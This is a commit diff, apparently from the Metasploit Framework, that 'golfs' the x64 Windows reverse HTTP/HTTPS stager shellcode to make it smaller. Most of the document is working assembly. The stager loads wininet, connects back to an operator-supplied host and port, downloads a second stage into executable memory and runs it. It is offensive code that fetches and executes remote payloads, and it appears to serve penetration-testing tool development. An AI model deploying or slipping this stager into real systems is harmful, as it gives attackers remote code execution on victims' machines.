Shellcode golf to make the payload smaller

Tried to implement some more of the stuff that egypt suggested, managed
to get some in, but not others. Ultimately, its smaller than it was, and
I'm sure there are ways to make it better as well.
unstable
OJ 2015-05-19 20:05:02 +10:00
parent 62720ab357
commit 6e96e6d118
3 changed files with 39 additions and 41 deletions

View File

@ -198,18 +198,18 @@ module Payload::Windows::ReverseHttp_x64
end end
asm = %Q^ asm = %Q^
xor rbx, rbx
load_wininet: load_wininet:
push 0 ; stack alignment push rbx ; stack alignment
mov r14, 'wininet' mov r14, 'wininet'
push r14 ; Push 'wininet',0 onto the stack push r14 ; Push 'wininet',0 onto the stack
mov r14, rsp ; Save pointer to string mov rcx, rsp ; lpFileName (stackpointer)
mov rcx, r14 ; the name of the lib to load
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
call rbp call rbp
internetopen: internetopen:
push 0 ; stack alignment push rbx ; stack alignment
push 0 ; NULL pointer push rbx ; NULL pointer
mov rcx, rsp ; lpszAgent ("") mov rcx, rsp ; lpszAgent ("")
^ ^
@ -224,29 +224,30 @@ module Payload::Windows::ReverseHttp_x64
^ ^
else else
asm << %Q^ asm << %Q^
xor rdx, rdx ; dwAccessType (0=INTERNET_OPEN_TYPE_PRECONFIG) push rbx
pop rdx ; dwAccessType (0=INTERNET_OPEN_TYPE_PRECONFIG)
xor r8, r8 ; lpszProxyName (NULL) xor r8, r8 ; lpszProxyName (NULL)
^ ^
end end
asm << %Q^ asm << %Q^
xor r9, r9 ; lpszProxyBypass (NULL) xor r9, r9 ; lpszProxyBypass (NULL)
push rax ; stack alignment push rbx ; stack alignment
push 0 ; dwFlags (0) push rbx ; dwFlags (0)
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')} mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')}
call rbp call rbp
jmp dbl_get_server_host call load_server_host
db "#{opts[:host]}",0x0
internetconnect: load_server_host:
pop rdx ; lpszServerName pop rdx ; lpszServerName
mov rcx, rax ; hInternet mov rcx, rax ; hInternet
mov r8, #{opts[:port]} ; nServerPort mov r8, #{opts[:port]} ; nServerPort
xor r9, r9 ; lpszUsername (NULL) xor r9, r9 ; lpszUsername (NULL)
push r9 ; dwContent (0) push rbx ; dwContent (0)
push r9 ; dwFlags (0) push rbx ; dwFlags (0)
push 3 ; dwService (3=INTERNET_SERVICE_HTTP) push 3 ; dwService (3=INTERNET_SERVICE_HTTP)
push r9 ; lpszPassword (NULL) push rbx ; lpszPassword (NULL)
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetConnectA')} mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetConnectA')}
call rbp call rbp
^ ^
@ -299,14 +300,15 @@ module Payload::Windows::ReverseHttp_x64
httpopenrequest: httpopenrequest:
mov rcx, rax ; hConnect mov rcx, rax ; hConnect
xor rdx, rdx ; lpszVerb (NULL=GET) push rbx
pop rdx ; lpszVerb (NULL=GET)
pop r8 ; lpszObjectName (URI) pop r8 ; lpszObjectName (URI)
xor r9, r9 ; lpszVersion (NULL) xor r9, r9 ; lpszVersion (NULL)
push rdx ; dwContext (0) push rbx ; dwContext (0)
mov r10, #{"0x%.8x" % http_open_flags} ; dwFlags mov r10, #{"0x%.8x" % http_open_flags} ; dwFlags
push r10 push r10
push rdx ; lplpszAcceptType (NULL) push rbx ; lplpszAcceptType (NULL)
push rdx ; lpszReferer (NULL) push rbx ; lpszReferer (NULL)
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'HttpOpenRequestA')} mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'HttpOpenRequestA')}
call rbp call rbp
@ -322,11 +324,13 @@ module Payload::Windows::ReverseHttp_x64
asm << %Q^ asm << %Q^
internetsetoption: internetsetoption:
mov rcx, rsi ; hInternet (request handle) mov rcx, rsi ; hInternet (request handle)
mov rdx, 31 ; dwOption (31=INTERNET_OPTION_SECURITY_FLAG) push 31
push 0 ; stack alignment pop rdx ; dwOption (31=INTERNET_OPTION_SECURITY_FLAG)
push rdx ; stack alignment
push #{"0x%.8x" % set_option_flags} ; flags push #{"0x%.8x" % set_option_flags} ; flags
mov r8, rsp ; lpBuffer (pointer to flags) mov r8, rsp ; lpBuffer (pointer to flags)
mov r9, 4 ; dwBufferLength (4 = size of flags) push 4
pop r9 ; dwBufferLength (4 = size of flags)
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')} mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
call rbp call rbp
^ ^
@ -335,11 +339,12 @@ module Payload::Windows::ReverseHttp_x64
asm << %Q^ asm << %Q^
httpsendrequest: httpsendrequest:
mov rcx, rsi ; hRequest (request handle) mov rcx, rsi ; hRequest (request handle)
xor rdx, rdx ; lpszHeaders (NULL) push rbx
pop rdx ; lpszHeaders (NULL)
xor r8, r8 ; dwHeadersLen (0) xor r8, r8 ; dwHeadersLen (0)
xor r9, r9 ; lpszVersion (NULL) xor r9, r9 ; lpszVersion (NULL)
push rdx ; stack alignment push rbx ; stack alignment
push rdx ; dwOptionalLength (0) push rbx ; dwOptionalLength (0)
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'HttpSendRequestA')} mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'HttpSendRequestA')}
call rbp call rbp
test eax, eax test eax, eax
@ -350,9 +355,6 @@ module Payload::Windows::ReverseHttp_x64
jz failure jz failure
jmp retryrequest jmp retryrequest
dbl_get_server_host:
jmp get_server_host
get_server_uri: get_server_uri:
call httpopenrequest call httpopenrequest
@ -368,7 +370,7 @@ module Payload::Windows::ReverseHttp_x64
else else
asm << %Q^ asm << %Q^
failure: failure:
push 0 ; stack alignment push rbx ; stack alignment
push 0x56A2B5F0 ; hardcoded to exitprocess for size push 0x56A2B5F0 ; hardcoded to exitprocess for size
call rbp call rbp
^ ^
@ -376,10 +378,13 @@ module Payload::Windows::ReverseHttp_x64
asm << %Q^ asm << %Q^
allocate_memory: allocate_memory:
xor rcx, rcx ; lpAddress (NULL) push rbx
mov rdx, 0x00400000 ; dwSize (4 MB) pop rcx ; lpAddress (NULL)
push 0x40
pop rdx
mov r9, rdx ; flProtect (0x40=PAGE_EXECUTE_READWRITE)
shl edx, 16 ; dwSize
mov r8, 0x1000 ; flAllocationType (0x1000=MEM_COMMIT) mov r8, 0x1000 ; flAllocationType (0x1000=MEM_COMMIT)
mov r9, 0x40 ; flProtect (0x40=PAGE_EXECUTE_READWRITE)
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
call rbp call rbp
@ -404,20 +409,13 @@ module Payload::Windows::ReverseHttp_x64
mov ax, word ptr [rdi] ; extract the read byte count mov ax, word ptr [rdi] ; extract the read byte count
add rbx, rax ; buffer += bytes read add rbx, rax ; buffer += bytes read
test rax, rax ; are we done? test eax, eax ; are we done?
jnz download_more ; keep going jnz download_more ; keep going
pop rax ; clear up reserved space pop rax ; clear up reserved space
pop rax ; realign again pop rax ; realign again
execute_stage: execute_stage:
ret ; return to the stored stage address ret ; return to the stored stage address
get_server_host:
call internetconnect
server_host:
db "#{opts[:host]}",0x0
^ ^
if opts[:exitfunk] if opts[:exitfunk]

View File

@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_http'
module Metasploit4 module Metasploit4
CachedSize = 520 CachedSize = 488
include Msf::Payload::Stager include Msf::Payload::Stager
include Msf::Payload::Windows include Msf::Payload::Windows

View File

@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_https'
module Metasploit4 module Metasploit4
CachedSize = 562 CachedSize = 522
include Msf::Payload::Stager include Msf::Payload::Stager
include Msf::Payload::Windows include Msf::Payload::Windows